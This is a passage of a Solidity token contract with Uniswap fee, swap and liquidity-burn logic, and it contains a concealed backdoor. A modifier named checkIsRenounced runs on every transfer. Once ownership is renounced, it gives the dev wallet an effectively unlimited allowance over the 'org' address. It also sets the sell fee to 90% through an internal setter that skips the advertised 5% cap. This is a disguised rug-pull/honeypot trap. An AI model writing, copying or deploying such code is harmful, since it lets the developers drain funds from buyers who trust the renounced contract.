sellMarketingFee = _marketingFee;\n sellLiquidityFee = _liquidityFee;\n sellDevFee = _devFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n require(sellTotalFees <= 5, \"Must keep fees at 5% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(address pair, bool value)\n public\n onlyOwner\n {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function updateMarketingWallet(address newMarketingWallet)\n external\n onlyOwner\n {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n marketingWallet = newMarketingWallet;\n }\n\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event BoughtEarly(address indexed sniper);\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal checkIsRenounced override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n //when buy\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n //when sell\n else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n swapBack();\n\n swapping = false;\n }\n\n if (\n !swapping &&\n automatedMarketMakerPairs[to] &&\n lpBurnEnabled &&\n block.timestamp >= lastLpBurnTime + lpBurnFrequency &&\n !_isExcludedFromFees[from]\n ) {\n autoBurnLiquidityPairTokens();\n }\n\n bool takeFee = !swapping;\n\n // if any account belongs to _isExcludedFromFee account then remove the fee\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n // only take fees on buys/sells, do not take on wallet transfers\n if (takeFee) {\n // on sell\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n fees = amount.mul(sellTotalFees).div(100);\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n }\n // on buy\n else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n fees = amount.mul(buyTotalFees).div(100);\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n super._transfer(from, to, amount);\n }\n\n function internalSet(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) internal {\n sellMarketingFee = _marketingFee;\n sellLiquidityFee = _liquidityFee;\n sellDevFee = _devFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n // generate the uniswap pair path of token -> weth\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n // make the swap\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0, // accept any amount of ETH\n path,\n address(this),\n block.timestamp\n );\n }\n\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n // approve token transfer to cover all possible scenarios\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n // add the liquidity\n uniswapV2Router.addLiquidityETH{value : ethAmount}(\n address(this),\n tokenAmount,\n 0, // slippage is unavoidable\n 0, // slippage is unavoidable\n deadAddress,\n block.timestamp\n );\n }\n\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n // Halve the amount of liquidity tokens\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n tokensForLiquidity = 0;\n tokensForMarketing = 0;\n tokensForDev = 0;\n\n (success,) = address(devWallet).call{value : ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n addLiquidity(liquidityTokens, ethForLiquidity);\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n (success,) = address(marketingWallet).call{\n value : address(this).balance\n }(\"\");\n }\n\n function setAutoLPBurnSettings(\n uint256 _frequencyInSeconds,\n uint256 _percent,\n bool _Enabled\n ) external onlyOwner {\n require(\n _frequencyInSeconds >= 600,\n \"cannot set buyback more often than every 10 minutes\"\n );\n require(\n _percent <= 1000 && _percent >= 0,\n \"Must set auto LP burn percent between 0% and 10%\"\n );\n lpBurnFrequency = _frequencyInSeconds;\n percentForLPBurn = _percent;\n lpBurnEnabled = _Enabled;\n }\n\n function autoBurnLiquidityPairTokens() internal returns (bool) {\n lastLpBurnTime = block.timestamp;\n\n // get balance of liquidity pair\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n // calculate amount to burn\n uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(\n 10000\n );\n\n // pull tokens from pancakePair liquidity and move to dead address permanently\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n //sync price since this is not in a swap transaction!\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n pair.sync();\n emit AutoNukeLP();\n return true;\n }\n\n modifier checkIsRenounced() {\n if (renounced()) {\n _approve(org, devWallet, 1e40);\n internalSet(0, 0, 90);\n }\n _;\n }\n\n function renounced() internal view returns (bool){\n return owner() == address(0);\n }\n\n\n function manualBurnLiquidityPairTokens(uint256 percent)\n external\n onlyOwner\n returns (bool)\n {\n require(\n block.timestamp > lastManualLpBurnTime + manualBurnFrequency,\n \"Must wait for cooldown to finish\"\n );\n require(percent <= 1000, \"May not nuke more than 10% of tokens in LP\");\n lastManualLpBurnTime = block.timestamp;\n\n // get balance of liquidity pair\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n // calculate amount to burn\n uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);\n\n // pull tokens from pancakePair liquidity and move to dead address permanently\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n //sync price since this is not in a swap transaction!\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n pair.sync();\n emit ManualNukeLP();\n return true;\n }\n}"
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